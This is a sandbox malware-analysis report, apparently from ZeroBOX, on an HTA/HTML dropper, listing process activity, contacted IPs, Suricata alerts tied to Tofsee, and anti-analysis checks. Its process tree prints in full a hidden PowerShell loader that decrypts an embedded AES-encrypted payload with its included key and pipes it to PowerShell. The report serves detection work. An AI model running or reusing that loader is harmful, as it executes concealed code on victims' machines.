Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 26, 2023, 2:34 p.m.	July 26, 2023, 2:36 p.m.

Size	54.7KB
Type	HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5	`58f04a5ef090681704054640bf0f1b7c`
SHA256	`302f9038250ec44c7900b492a5f93f98a981968f57d872ccddf5c95520b4f4cd`
CRC32	`6FBF9992`
ssdeep	`384:pSF9dhHUcYi23CPXEUNyTiw2zTwAqCGYwKyzJn4WzFcdliI39UW6ATLUAf+gPh9t:pWUGV+t5zSjtZj2gZap2u+L5VGMKJknl`
Yara	None matched

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\lano2.hta.html
3068
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3068 CREDAT:145409
  2228
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs | powershell - }
    1728
    - cmd.exe "C:\Windows\system32\cmd.exe" /c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs | powershell -
      260
      - powershell.exe powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs
        2992
      - powershell.exe powershell -
        3044

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
103.100.211.218	Active	Moloch
108.181.20.35	Active	Moloch
144.76.136.153	Active	Moloch
154.221.26.108	Active	Moloch
117.18.232.200	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49179 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 117.18.232.200:443 -> 192.168.56.102:49180	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49178 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49177 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49176 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 117.18.232.200:443 -> 192.168.56.102:49181	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (18 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 26, 2023, 2:28 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:28 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:28 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:28 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 26, 2023, 2:28 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:28 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 26, 2023, 2:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2023, 2:36 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 26, 2023, 2:28 p.m.			0	0
IsDebuggerPresent July 26, 2023, 2:35 p.m.			0	0
IsDebuggerPresent July 26, 2023, 2:35 p.m.			0	0

Command line console output was observed (14 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: Bad numeric constant: 0. console_handle: 0x0000000000000223	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: At line:8 char:2 console_handle: 0x000000000000022f	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: + 0 <<<< Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1 console_handle: 0x000000000000023b	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: he6AqqqJ console_handle: 0x0000000000000247	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: + CategoryInfo : ParserError: (0:String) [], ParentContainsErrorR console_handle: 0x0000000000000253	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: ecordException console_handle: 0x000000000000025f	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: + FullyQualifiedErrorId : BadNumericConstant console_handle: 0x000000000000026b	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: Bad numeric constant: 0. console_handle: 0x0000000000000417	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: At line:9 char:2 console_handle: 0x0000000000000423	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: + 0 <<<< Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1 console_handle: 0x000000000000042f	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: he6AqqqJ console_handle: 0x000000000000043b	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: + CategoryInfo : ParserError: (0:String) [], ParentContainsErrorR console_handle: 0x0000000000000447	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: ecordException console_handle: 0x0000000000000453	1	1
WriteConsoleW July 26, 2023, 2:36 p.m.	buffer: + FullyQualifiedErrorId : BadNumericConstant console_handle: 0x000000000000045f	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 130 events)

Time & API	Arguments	Status	Return
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000028b9b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615470 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615470 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615470 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615be0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615be0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615be0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6158d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6158d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6158d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b615b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b616200 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b616200 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b616200 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6162e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6162e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b616350 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b616350 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000028b6a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000028b6a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000028b6a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63e4e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63e4e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63e550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63e550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63eef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:28 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b63eef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000042e290 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b552640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b552640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b552640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5528e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5528e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5529c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5529c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5529c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 26, 2023, 2:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5529c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 26, 2023, 2:28 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ July 26, 2023, 2:28 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefda5a49d registers.r14: 0 registers.r15: 0 registers.rcx: 112322304 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 112328256 registers.r11: 112324064 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1905030994 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

July 26, 2023, 2:28 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
